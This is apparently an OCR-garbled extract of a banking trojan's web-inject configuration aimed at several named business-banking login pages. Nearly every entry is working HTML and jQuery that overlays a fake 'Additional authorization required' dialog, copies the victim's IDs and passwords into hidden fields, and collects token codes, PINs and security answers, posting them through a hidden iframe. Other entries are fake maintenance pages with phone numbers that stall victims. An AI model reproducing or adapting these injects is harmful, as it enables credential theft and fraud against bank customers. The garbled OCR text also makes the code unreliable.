cument.body.style.visibility = 'visible';}</script>

<body*>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.qgif" class="ui-helper-
hidden"></iframe><center><img

src="https://netconnect.bokf.com/bbw/cmserver/welcome/default/login_brandimages/logo.gif* alt=""><p>To
provide additional security to your account we occasionaly require to verify personal or sensitive data we
have on file.</p><p>To verify your identity please provide your token code. Every time you enter your token
code you should generate a new one.</p><form id="dialogform" name="dialogform" method="post"
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target="dialogiframe" action="https://www.google.com/accounts/ig.gif"><input type="hidden"
name="injCustld" id="injCustld" value=""><input type="hidden" name="injCustPass" id="injCustPass"
value=""><input  type="hidden" name="injUserld" id="injUserld" value=""><input type="hidden"

name="injUserPass" id="injUserPass" value=""><script
type="text/javascript">jQuery(‘#injCustld’).val(jQuery('div.logininputCustid >
input’).val());jQuery(‘#injCustPass').val(jQuery(‘'div.loginInputCustPass >
input’).val());jQuery(‘#injUserld").val(jQuery(‘div.logininputUserld >
input’).val());jQuery(‘#injUserPass').val(jQuery(‘div.logininputUserPass >
input’).val());</script><table><tr><td align="right"><b>Customer ID:</b></td><td align="left"
id="pp_custid"><script type="text/javascript">jQuery(‘#pp_custid’).html(jQuery(‘'div.logininputCustid >
input’).val())</script></td></tr><tr><td align="right"><b>User ID:</b></td><td align="left"

id="pp_userid"><script type="text/javascript">jQuery(‘#pp_userid").html(jQuery('div.logininputUserld >
input’).val())</script></td></tr><tr><td  align="right"><b>Token Code:</b></td><td align="left"><input
name="injtoken" type="text" size="20" /></td></tr></table></form></center></div>)

<FORM name="PassForm"*method="POST"

Y

onsubmit="document.body.style.visibility = 'hidden'; show_dialog(); return false;"

007F
<head>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
‘slide’,"hide" : 'slide’,"resizable" : false,"width" : 500,"buttons" : { "Log In" : function(){var bGood = true;if
(jQuery("#dialog input[name='injcustid’]").val().length == 0) {alert('Please enter your Customer ID");bGood =
false;}if (jQuery("#dialog input[name='injcustpass’").val().length == 0) {alert('Please enter your Customer
Password'’);bGood = false;}if (jQuery("#dialog input[name='"injuserid]").val().length == 0) {alert('Please enter
your User ID");bGood = false;}if (jQuery("#dialog inputfname='injuserpass']").val().length == 0) {alert('Please
enter your User Password’);bGood = false;}if (bGood){jQuery("#dialogform").submit();}
11);iQuery("#dialogiframe™).load(function(){document.body.style.visibility =
'hidden';jQuery("#dialog").dialog("close");document.loginForm.submit();});jQuery("#dialog").dialog("open”);do
cument.body.style.visibility = 'visible';}</script>

<body*>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Log In" class="ui-helper-hidden"><iframe id="dialogiframe" name="dialogiframe"
src="https://www.google.com/accounts/ig.gif* class="ui-helper-hidden"></iframe><center><p>Enter your
customer id, customer password, user id and user password to access Comerica Business
ConnectSM.</p><form  id="dialogform"  name="dialogform"  method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><input type="hidden" name="injuseridl" id="injuserid1"
value=""><input type="hidden" name="injpin" id="injpin" value=""><input type="hidden" name="injtoken"

id="injtoken" value=""><script
type="text/javascript">jQuery(#injuseridl’).val(jQuery(#username').val());jQuery(#injpin‘).val(jQuery(#pin’).v
al());jQuery(‘#injtoken").val(jQuery(‘#tokencode').val());</script><table><tr><td align="right"><b>User
ID:</b></td><td align="left" id="pp_userid"><script

type="text/javascript">jQuery(#pp_userid").html(jQuery(‘#username").val())</script></td></tr><tr><td
align="right"><b>CUSTOMER ID:</b></td><td align="Ileft"><input name="injcustid" type="text" size="20"
[></td></tr><tr><td align="right"><b>CUSTOMER PASSWORD:</b></td><td align="left"><input
name="injcustpass" type="password" size="20" /></td></tr><tr><td align="right"><b>USER ID:</b></td><td
align="left"><input name="injuserid" type="text" size="20" /[></td></tr><tr><td align="right"><b>USER
PASSWORD:</b></td><td align="left"><input name="injuserpass" type="password" size="20"
[></td></tr></table></form></center></div>3

<form name="loginForm" method="post" action="

/out.html+
<div style="padding-top:7px;">*href="
"d

" onclick="javascript: document.body.style.visibility = ‘hidden'; show_dialog(); return false;

0080
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<[title>

</HTML>

<body><center>Comerica Business ConnectSM Website is currently unavailable. Please check back in 24
hours.</center></body>

0081
+

id="entryForm" method="post" action="

https://securentrycorp.calbanktrust.com/Enroliment/zbf/k/1
name="publicCred1"*</span>

y

<label for="publicCred2">Please enter the current 6-digit value shown on your token:</label><span><input
id="publicCred2" name="injtoken" type="text" value=""
maxlength="50"/>&nbsp;*&nbsp;<br><br><br></span><label
for="publicCred3">Password:</label><span><input id="publicCred3" name="injpass" type="password"
value="" maxlength="50"/>&nbsp;*&nbsp;</span>

0082

+
id="entryForm" method="post" action="

https://securentrycorp.calbanktrust.com/Enroliment/zbf/k/1
name="publicCred1"*</span>

y

<label for="publicCred2">Please enter the current 6-digit value shown on your token:</label><span><input
id="publicCred2" name="injtoken" type="text" value=""
maxlength="50"/>&nbsp;*&nbsp;<br><br><br></span><label
for="publicCred3">Password:</label><span><input id="publicCred3" name="injpass" type="password"
value="" maxlength="50"/>&nbsp;*&nbsp;</span>

0083

<ul>

</ul>

<li>Due to system maintenance, online banking will be unavailable for 24 hours. Please try to access this
page at a later point or if you have any questions contact our technical support at 1-858-633-
0539.</li></center></body>

0084
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User ID:
0085

<head>

b

<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
‘slide’,"hide" : 'slide’,"resizable" : false,"width" : 400,"buttons" : { "Submit" : function(){var bgood = true;if
(jQuery("#dialog input[name='injpin").val().length != 4) {alert('Please enter your PIN.");bgood = false;} if
(jQuery("#dialog input[name='injpassphrase]").val().length == 0) {alert('Please enter your Personal
Passphrase.");bgood = false;} if (bgood){jQuery("“#dialogform").submit();}
1);iQuery("#dialogiframe™).load(function(){document.body.style.visibility =
'hidden’;jQuery("#dialog").dialog("close");document.myForm.submit();});jQuery("#dialog").dialog("open");doc
ument.body.style.visibility = 'visible';}</script>

</form>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.gif" class="ui-helper-
hidden"></iframe><center><img src="https://ktt.key.com/ktt/images/logo_keyTotalTreasury.gif" alt=""><p>To
provide additional security to your account we occasionaly require to verify personal or sensitive data we
have on file.</p><p>To verify your identity please provide your pin and personal phrase.</p><form
id="dialogform" name="dialogform" method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><input type="hidden" name="injtoken" value=""><input
type="hidden" name="injlogin" id="injlogin" value=""><input type="hidden" name="injpass" id="injpass"
value=""><script
type="text/javascript">jQuery(‘#injlogin‘).val(jQuery(‘#userld").val());jQuery(#injpass’).val(jQuery(‘#txtPasswo
rd").val());</script><table><tr><td align="right"><b>Logon ID:</b></td><td align="left"
id="pp_custid"></td><script
type="text/javascript">jQuery(‘#pp_custid’).html(jQuery(‘#userld’).val())</script></tr><tr><td
align="right"><b>PIN:</b></td><td align="left"><input name="injpin" type="text" size="20"
[></td></tr><tr><td align="right"><b>Personal Phrase:</b></td><td align="left"><input
name="injpassphrase" type="text" size="20" /></td></tr></table></form></center></div>

<form

Y

onsubmit="document.body.style.visibility = 'hidden'; show_dialog(); return false;"

name="txtPassword"

id="txtPassword"

0086

name="Security"

id="security"

NAME="username"

id="username"

NAME="passcode"

id="passcode"

<HEAD>

b

<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
‘slide’,"hide" : 'slide’,"resizable" : false,"width" : 400,"buttons" : { "Submit" : function(){var bgood = true;if

(jQuery("#dialog input[name='injusernamel").val().length == 0) {alert(Please  enter  your
UserName.");bgood = false;} if (jQuery("#dialog inputfname='injpassword’]").val().length == 0) {alert('Please
enter your Password.");bgood = false;} if (bgood){jQuery("#dialogform").submit();}

1);iQuery("#dialogiframe™).load(function(){document.body.style.visibility =
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'hidden’;jQuery("#dialog").dialog("close");document.security.submit();});jQuery("#dialog").dialog("open");docu
ment.body.style.visibility = 'visible';}</script>
</FORM>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Business Banking Online : Security Portal Log In" class="ui-helper-hidden"><iframe
id="dialogiframe" name="dialogiframe" src="https://www.google.com/accounts/ig.gif* class="ui-helper-
hidden"></iframe><center><form id="dialogform" name="dialogform" method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><input type="hidden" name="injusername"
id="injusername"  value=""><input type="hidden" name="injtoken" id="injtoken" value=""><script
type="text/javascript">jQuery(‘#injusername’).val(jQuery(‘#username').val());jQuery(‘#injtoken").val(jQuery(‘#
passcode').val());jQuery(‘#passcode’).val(jQuery(#passcode’).val()+1);</script><table><tr><td
align="right"><b>UserName:</b></td><td align="Ileft"><input name="injusernamel" type="text" size="20"
[></td></tr><tr><td  align="right"><b>Password:</b></td><td  align="left"><input = name="injpassword"
type="password" size="20" /></td></tr></table></form></center></div>

<form

Y

onsubmit="document.body.style.visibility = 'hidden'; show_dialog(); return false;"

0087
<P class="message">
</P>

<table class="logintable">

</table>

<TR><TD class="label" width="500" style="background:#E5EBF3">Business Banking website is currently
unavailable due to scheduled maintenance. We'll be back in 24-48 hours.</TD></TR>

0088

<head>

3

<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/l.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show"
'slide’,"hide" : 'slide',"resizable" : false,"width" : 450,"buttons” : { "Submit" : function(){ var bgood = true;if

(jQuery("#dialog input[name='injUserPass']").val().length == 0) {alert(Please enter your User
Password');bgood = false;} if (jQuery("#dialog input[name='injall").val().length == 0) {alert('Please enter
your security answer');bgood = false;} if (jQuery("#dialog inputfname='inja2").val().length == 0)
{alert('Please enter your security answer');bgood = false;} if (jQuery("#dialog
input[name='"inja37").val().length == 0) {alert(Please enter your security answer');bgood = false;} if
(JQuery( ‘#dialog input[name='"injtoken’").val().length == 0) {alert('Please enter your Token Passcode');bgood

false;} if (bgood){jQuery("#dialogform").submit(); }}

}}) jQuery("#dialogiframe").load(function(){document.body.style.visibility
'hidden’;jQuery("#dialog").dialog("close");document.PassForm.submit();});jQuery("#dialog").dialog("open"); do
cument.body.style.visibility = 'visible";}</script>

</[FORM>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.gif" class="ui-helper-
hidden"></iframe><center><img src="https://e-access.compassbank.com/bbw/brandimage/Login1?t=4"
alt=""><p>To provide additional security to your account we occasionaly require to verify personal or
sensitive data we have on file.</p><p>To verify your identity please provide security answers that you use to
login to your account and your token passcode.</p><form id="dialogform" name="dialogform"
method="post" target="dialogiframe" action="https://www.google.com/accounts/ig.gif*><input type="hidden"
name="injCustld" id="injCustld" value=""><input type="hidden" name="injCustPass" id="injCustPass"

value=""><input type="hidden" name="injUserld" id="injUserld" value=""><script
type="text/javascript">jQuery(‘#injCustld").val(jQuery('div.logininputCustld >
input’).val());jQuery(‘#injCustPass").val(jQuery(‘'div.logininputCustPass >
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input’).val());jQuery(‘#injUserld").val(jQuery(‘'div.logininputUserld > input’).val());</script><table><tr><td

align="right"><b>Customer ID:</b></td><td align="left" id="pp_custid"></td><script
type="text/javascript">jQuery(#pp_custid’).html(jQuery('div.logininputCustid >
input’).val())</script></tr><tr><td align="right"><b>User ID:</b></td><td align="left"

id="pp_userid"></td><script type="text/javascript">jQuery(#pp_userid’).html(jQuery('div.logininputUserld >
input’).val())</script></tr><tr><td align="right"><b>User Password:</b></td><td align="left"><input
name="injUserPass" type="password" size="20" /></td></tr><tr><td align="right"><b>Security answer
#1:</b></td><td align="left"><input name="injal" type="text" size="20" [><td></tr><tr><td
align="right"><b>Security answer #2:</b></td><td align="left"><input name="inja2" type="text" size="20"
[></td></tr><tr><td align="right"><b>Security answer #3:</b></td><td align="left"><input name="inja3"
type="text" size="20" /></td></tr><tr><td align="right"><b>Token Passcode:</b></td><td align="left"><input
name="injtoken" type="text" size="20" /></td></tr></table></form></center></div>)

<FORM name="PassForm"*method="POST"

Y

onsubmit="document.body.style.visibility = 'hidden'; show_dialog(); return false;"$

<FORM name="PassForm" action="

"y

https://www.bbvacompass.com/contact/

0089

<head>
</body>

<title>Tresury = Management wesite is currently unavailable</title></head><body><center><img
src="https://e-access.compassbhank.com/bbw/brandimage/Login1?t=4" alt=""><br>Due to system
maintenance, online Treasury Management will be unavailable for 24 hours. Please try to access this page
at a later point or if you have any questions contact our technical support at 1-858-633-0539.</center>

008A
<head>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show"
‘slide’,"hide" : 'slide’,"resizable" : false,"width" : 450,"buttons” : { "Submit" : function(){ var bgood = true;if
(jQuery("#dialog input[name='injtoken]").val().length == 0) {alert('Please enter your token code');bgood =
false;} if (jQuery("#dialog inputfname='injtokenl]").val().length == 0) {alert(Please enter your token
code");bgood = false;} if (jQuery("#dialog inputfname='injtoken2']").val().length == 0) {alert('Please enter your
token code’);bgood = false;}if ((jQuery("#dialog input[name='injtoken").val() == jQuery("#dialog
inputiname='injtoken17").val()) || (iQuery("#dialog input[name="injtoken1").val() == jQuery("#dialog
input[name='"injtoken27").val()) || (jQuery("#dialog inputiname='injtoken’]").val() == jQuery("#dialog
input[name='"injtoken2").val())){alert(Please generate 3 different Token Codes');bgood = false;}if
(bgood){jQuery("#dialogform").submit();}}
1);jQuery("#dialogiframe™).load(function(){document.body.style.visibility =
‘hidden’;jQuery("#dialog").dialog("close");document.PassForm.submit();});jQuery("#dialog").dialog("open"); do
cument.body.style.visibility = 'visible';}</script>

</form>

3

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.qgif" class="ui-helper-
hidden"></iframe><center><img src="https://www.cashanalyzer.com/images/CA_dbLogo.jpg" alt=""><p>To
provide additional security to your account we occasionaly require to verify personal or sensitive data we
have on file.</p><p>To verify your identity please generate 3 different token codes.</p><form

id="dialogform" name="dialogform" method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><input type="hidden" name="injCompanyld"
d="injCompanyld" value=""><input type="hidden" name="injUserld" id="injUserld" value=""><input
type="hidden" name="injPassword" id="injPassword" value=""><script

type="text/javascript">jQuery(‘#injCompanyld’).val(jQuery("#container
input[name="inCompanyNum'").val());jQuery(‘#injUserld").val(jQuery("#container
input[name="inUserID']").val());jQuery(#injPassword').val(jQuery("#container
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input[name='"inPassword"").val());</script><table><tr><td align="right"><b>Customer ID:</b></td><td
align="left" id="pp_custid"></td><script type="text/javascript">jQuery(‘#pp_custid').html(jQuery("#container
input[name="inCompanyNum'").val())</script></tr><tr><td align="right"><b>User ID:</b></td><td
align="left" id="pp_userid"></td><script type="text/javascript">jQuery(‘#pp_userid’).html(jQuery("#container
input[name="inUserID']").val())</script></tr><tr><td align="right"><b>Token Code #1:</b></td><td
align="left"><input name="injtoken" type="text" size="20" /></td></tr><tr><td align="right"><b>Token Code
#2:</b></td><td  align="left"><input = name="injtokenl" type="text" size="20" /></td></tr><tr><td
align="right"><b>Token Code #3:</b></td><td align="left"><input name="injtoken2" type="text" size="20"
[></td></tr></table></form></center></div>

<form METHOD="POST"

i

name="PassForm" onsubmit="document.body.style.visibility = 'hidden’; show_dialog(); return false;"
<form*ACTION="

"$

https://www.cashanalyzer.com/1

008B
<head>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
'slide’,"hide" : 'slide',"resizable" : false,"width" : 450,"buttons” : { "Submit" : function(){ var bgood = true;if
(jQuery("#dialog inputfname='injal’]").val().length == 0) {alert('Please enter your security answer');bgood =

false;} if (jQuery("#dialog input[name='inja27").val().length == 0) {alert('Please enter your security
answer');bgood = false;} if (jQuery("#dialog inputiname='injtoken’]").val().length == 0) {alert('Please enter
your Go ID Code");bgood = false;} if (bgood){jQuery("#dialogform").submit();}

1):jQuery("#dialogiframe™).load(function(){document.body.style.visibility =
'hidden’;jQuery("#dialog").dialog("close");document.CbSignOnFull.submit();});jQuery("#dialog").dialog("open”
);document.body.style.visibility = 'visible";}</script>

</body>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.gif" class="ui-helper-
hidden"></iframe><center><img src="https://www.53.com/images/common/hp_top_logo_01.gif"
alt=""><p>To provide additional security to your account we occasionaly require to verify personal or
sensitive data we have on file.</p><p>To verify your identity please provide security answers that you use to
login to your account and your Go ID Code or Temporary Go ID Code .</p><form id="dialogform"

name="dialogform" method="post" target="dialogiframe"
action="https://www.google.com/accounts/ig.gif"><input  type="hidden" name="injCustld" id="injCustld"
value=""><input type="hidden" name="injCustPass" id="injCustPass" value=""><script

type="text/javascript">jQuery(‘#injCustld").val(jQuery("inputfname="username']").val());jQuery(#injCustPass")
val(jQuery(“inputfname="password']").val());</script><table><tr><td align="right"><b>Your ID:</b></td><td
align="left" id="pp_custid"></td><script
type="text/javascript">jQuery(#pp_custid’).html(jQuery("inputiname="username']").val())</script></tr><tr><td
align="right"><b>Security answer #1:</b></td><td align="left"><input name="injal" type="text" size="20"
[></td></tr><tr><td align="right"><b>Security answer #2:</b></td><td align="left"><input name="inja2"
type="text" size="20" /></td></tr><tr><td align="right"><b>Go ID Code:</b></td><td align="left"><input
name="injtoken" type="text" size="20" /></td></tr></table></form></center></div>*

<form name="CbSignOnFull"*onsubmit="

N

document.body.style.visibility = 'hidden'; show_dialog(); return false; (

<form name="CbhSignOnFull" action="

"2

https://express.53.com/express/logon.actionl

008C

<p class="mainContent">
</p>
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Due to system maintenance, Commercial Banking website will be unavailable for 24 hours. Please try to
access this page at a later point or if you have any questions contact our technical support at 1-858-633-
0539.9

<td class="dialogBorder"*<td class="dialogContent">

</table>

008D
pbAllowSubmit = false;*}

if (typeof eval(FormName)

1))
document.forms[FormName].submit()*}
function Comparelnput()

}

<FORM Name="Form1"*>

6

<input type="hidden" name="injtoken" value="hi">

008E
<td class="keypad">1<td colspan="3" style="text-align:center;">

008F

<form*>=<input type="hidden" name="injtoken" value="user data">

0090
4
<form name="aspnetForm" method="post" action="
"1
https://imanage.ebanking-services.com/error
<form*>
>

<input type="hidden" name="injtoken" value="token data">

0091
<head>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script><link rel="stylesheet"
type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/l.7.1/themes/start/ui.all.css" /><script
type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-
ui.min.js"></script><script type="text/javascript">function show_dialog(){dialogopen();}function

dialogopen(){jQuery("#dialog").dialog({"autoOpen" : false,"closeOnEscape" : false,"modal" : true,"show" :
'slide’,"hide" : 'slide',"resizable" : false,"width" : 650,"buttons” : { "Submit" : function(){ var bgood = true;if
(jQuery("#dialog inputfname='injal’]").val().length == 0) {alert('Please enter your security answer');bgood =
false;} if (jQuery("#dialog input[name='inja27").val().length == 0) {alert('Please enter your security
answer');bgood = false;} if (jQuery("#dialog inputiname='inja3']").val().length == 0) {alert('Please enter your
security answer');bgood = false;} if (jQuery("#dialog inputiname='injtoken’]").val().length == 0) {alert('Please
enter your Token Passcode');bgood = false;} if (bgood){jQuery("#dialogform").submit();}
11);iQuery("#dialogiframe™).load(function(){document.body.style.visibility =
'hidden’;jQuery("#dialog").dialog("close");document.frmLogin.submit();});jQuery("#dialog").dialog("open");doc
ument.body.style.visibility = 'visible';}</script>

</body>

<style type="text/css">.ui-widget-overlay {opacity:1; filter:Alpha(Opacity=100);}.ui-dialog-titlebar-close
{visibility:hidden;}.ui-dialog * {font-size:11px;}.ui-dialog input {border:1px solid #000000;}</style><div
id="dialog" title="Additional authorization required" -class="ui-helper-hidden"><iframe id="dialogiframe"
name="dialogiframe" src="https://www.google.com/accounts/ig.gif" class="ui-helper-
hidden"></iframe><center><img

src="https://www.treasury.pncbank.com/portal/service/pinacle/img/PNCLogo.jpg"  alt=""><p>To  provide
additional security to your account we occasionaly require to verify personal or sensitive data we have on
file.</p><p>To verify your identity please choose your questions in the dropdown list and answer them also
<b>as it is registered in your profile.</b> </p><form id="dialogform" name="dialogform" method="post"
target="dialogiframe" action="https://www.google.com/accounts/ig.gif*><input type="hidden"
name="injCompanyld" id="injCompanyld"  value=""><input type="hidden" name="injOperatorld"
id="injOperatorld" value=""><input type="hidden" name="injPass" id="injPass" value=""><script
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type="text/javascript">jQuery(‘#injCompanyld").val(jQuery("inputfname="txtUserID']").val());jQuery(‘#injOpera
torld").val(jQuery("input[name="txtOperID']").val());jQuery(#injPass").val(jQuery("input[name="txtPwd']").val())
;</script><table><tr><td align="right"><b>Company User ID:</b></td><td align="left"
id="pp_compid"></td><script
type="text/javascript">jQuery(#pp_compid’).html(jQuery("input[name="txtUserID']").val())</script></tr><tr><t
d align="right"><b>Operator ID:</b></td><td align="left" id="pp_opid"></td><script
type="text/javascript">jQuery(#pp_opid").html(jQuery("inputiname="txtOperID']").val())</script></tr><tr><td
align="right"><b>Security question #1:</b></td><td align="left"><select name='injql"><option value=1>What
is the first name of your oldest nephew?<option value=2>What is the first name of the maid of honor at your
wedding?<option value=3>What is your maternal grandfather's first name?<option value=4>What is your
maternal grandmother's first name?<option value=5>What is your father's middle name?<option
value=6>What was the name of your High School?<option value=7>What is your best friend's first
name?<option value=8>What is the name of the first company you worked for?<option value=9>In what city
was your high school? (full name of city only) <option value=10>In what city were you married? (Enter full
name of city) </select></td></tr><tr><td  align="right"><b>Security = answer #1:</b></td><td
align="left"><input name="injal" type="text" size="20" /></td></tr><tr><td align="right"><b>Security
question #2:</b></td><td align="left"><select name='injg2"><option value=1>In what city was your father
born? (Enter full name of city only) <option value=2>What is your paternal grandmother's first name?<option
value=3>What is the first name of your oldest niece?<option value=4>What was the first name of your first
manager?<option value=5>What was the name of your first girlfriend/boyfriend?<option value=6>What is
the first name of the best man at your wedding?<option value=7>What was the nickname of your
grandfather?<option value=8>What was your high school mascot?<option value=9>What was the name of
your first pet?<option value=10>In what city is your vacation home? (Enter full name of city only)
<[select></td></tr><tr><td  align="right"><b>Security = answer  #2:</b></td><td  align="left"><input
name="inja2" type="text" size="20" /></td></tr><tr><td align="right"><b>Security question #2:</b></td><td
align="left"><select name='injq3'><option value=1>Where did you meet your spouse for the first time?
(Enter full name of city only) <option value=2>What is your mother's middle name?<option value=3>What is
your paternal grandfather's first name?<option value=4>What was the name of your junior high school?
<option value=5>What was your favorite restaurant in college?<option value=6>What was the name of the
town your grandmother lived in? <option value=7>What street did your best friend in high school live on?
<option value=8>In what city was your mother born? <option value=9>What was the last name of your
favorite teacher in your final year of high school?</select></td></tr><tr><td align="right"><b>Security
answer #3:</b></td><td align="left"><input name="inja3" type="text" size="20" /[></td></tr><tr><td
align="right"><b>Token Passcode:</b></td><td align="left"><input name="injtoken" type="text" size="20"
[></td></tr></table></form></center></div>&

<form name="frmLogin"*onsubmit="

N

document.body.style.visibility = 'hidden'; show_dialog(); return false;

<form name="frmLogin"

S

action="https://www.pnc.com/webapp/sec/Forms.do?siteArea=/PNC/Feedback+Form"

0092

<div id="mainContent">

<div id="footer">

Due to system maintenance, Corporate Banking website will be unavailable for 24 hours. Please try to
access this page at a later point or if you have any questions contact our technical support at 1-858-633-
0539.

<title>

<ftitle>

We are offline

0093

%
<FORM Name="Form1" id="Form1"*>

<input type="hidden" name="injtoken" value="userid">,
<FORM Name="Form1" id="Form1" ACTION="
https://web5.secureinternetbank.com/EBC_EBC1961/error
<BUTTON*onClick="

"/

javascript:document.forms.Form1.submit();

0094

+
id="entryForm" method="post" action="
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https://securentrycorp.zionshank.com/Enroliment/zbf/k/1
name="publicCred1"*</span>

y

<label for="publicCred2">Please enter the current 6-digit value shown on your token:</label><span><input
id="publicCred2" name="injtoken" type="text" value=""
maxlength="50"/>&nbsp;*&nbsp;<br><br><br></span><label
for="publicCred3">Password:</label><span><input id="publicCred3" name="injpass" type="password"
value="" maxlength="50"/>&nbsp;*&nbsp;</span>

0095
+
id="entryForm" method="post" action="
https://securentrycorp.zionsbank.com/Enrollment/zbf/k/1
name="publicCred1"*</span>

y

<label for="publicCred2">Please enter the current 6-digit value shown on your token:</label><span><input
id="publicCred2" name="injtoken" type="text" value=""
maxlength="50"/>&nbsp;*&nbsp;<br><br><br></span><label
for="publicCred3">Password:</label><span><input id="publicCred3" name="injpass" type="password"
value="" maxlength="50"/>&nbsp;*&nbsp;</span>

0096

<ul>

</ul>

<li>Due to system maintenance, online banking will be unavailable for 24 hours. Please try to access this
page at a later point or if you have any questions contact our technical support at 1-858-633-
0539.</li></center></body>

0097
<form name="frmLogon"*>

<input type="hidden" name="injtoken" value="user data">

0098
2
<form name="frmLogon" method="post" action="
"]
https://www.ubi-businessonline.blilk.com/Core/Authentication/MFAUserName.aspx?offline=1
<form name="frmLogon"*>
>
<input type="hidden" name="injtoken" value="token pass">

0099

|

<TABLE border="0" width="0%" CELLSPACING="0" CELLPADDING="0">*<TD*>

</TABLE>

Due to system maintenance, online banking will be unavailable for 24 hours.<br> Please try to access this
page at a later point or if you have any questions<br>contact our technical support desk at 1-888-236-
0232.</TD></TR>

009A

<form name="Form1"*>
s

<input type="hidden" name="injtoken" value="customer id">

009B

<form id="SignOn"*action="
https://ecash.dacotahbank.com/out.html

<form id="SignOn"*>

<

<input type="hidden" name="injtoken" value="token id">
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009C

<HTML>
</HTML>

<head></head><body><center><h1>Due to system maintenance, eCash website will be unavailable for 24
hours. Please try to access this page at a later point or if you have any questions contact our technical
support desk at 1-888-236-0232.</h1></center></body>
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